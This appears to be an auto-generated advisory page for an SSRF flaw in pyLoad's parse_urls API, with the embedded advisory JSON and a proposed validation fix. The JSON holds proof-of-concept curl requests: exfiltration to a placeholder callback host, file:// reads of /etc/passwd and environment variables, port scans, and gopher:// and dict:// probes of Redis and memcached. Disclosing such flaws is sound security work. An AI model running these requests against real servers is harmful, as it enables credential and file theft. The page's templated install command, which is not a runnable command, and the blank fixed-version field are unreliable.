CVE-2026-35187: pyLoad SSRF Vulnerability
HIGHCVE-2026-35187 is a HIGH (CVSS 7.7) ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting pyLoad libraries in the PyPI ecosystem. The issue involves ssrf in parse_urls api endpoint via unvalidated url parameter. Remediation is available in the latest vendor maintenance releases.
CVE-2026-35187 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-35187
To remediate this vulnerability, upgrade all affected pyLoad dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-35187, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of pyLoad in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In pyLoad, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-35187 Affected pyLoad Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
≤ 0.5.0b3.dev96
|
|
References
Frequently Asked Questions
What is CVE-2026-35187?
Which pyLoad versions are affected?
What version fixes CVE-2026-35187?
Is pyload-ng affected?
What is the CVSS score of CVE-2026-35187?
What CWE is associated with CVE-2026-35187?
How can I check PyPI dependencies for CVE-2026-35187?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2wvg-62qm-gj33",
"modified" : "2026-04-06T23:43:23Z",
"published" : "2026-04-04T04:18:43Z",
"aliases" : [ "CVE-2026-35187" ],
"summary" : "pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter",
"details" : "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n if url:\n page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist\n urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=<SESSION>\" -H \"X-CSRFToken: \" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc\" http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -> empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -> pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\'Couldn't open file /nonexistent\\')\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn't open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n parsed = urlparse(url)\n if parsed.scheme not in ('http', 'https'):\n return False\n hostname = parsed.hostname\n if not hostname:\n return False\n try:\n for info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(info[4][0])\n if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n return False\n except (socket.gaierror, ValueError):\n return False\n return True\n\ndef parse_urls(self, html=None, url=None):\n if url:\n if not _is_safe_url(url):\n raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n page = get_url(url)\n urls.update(RE_URLMATCH.findall(page))\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.5.0b3.dev96"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35187"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-04T04:18:43Z",
"nvd_published_at" : "2026-04-06T20:16:27Z"
}
}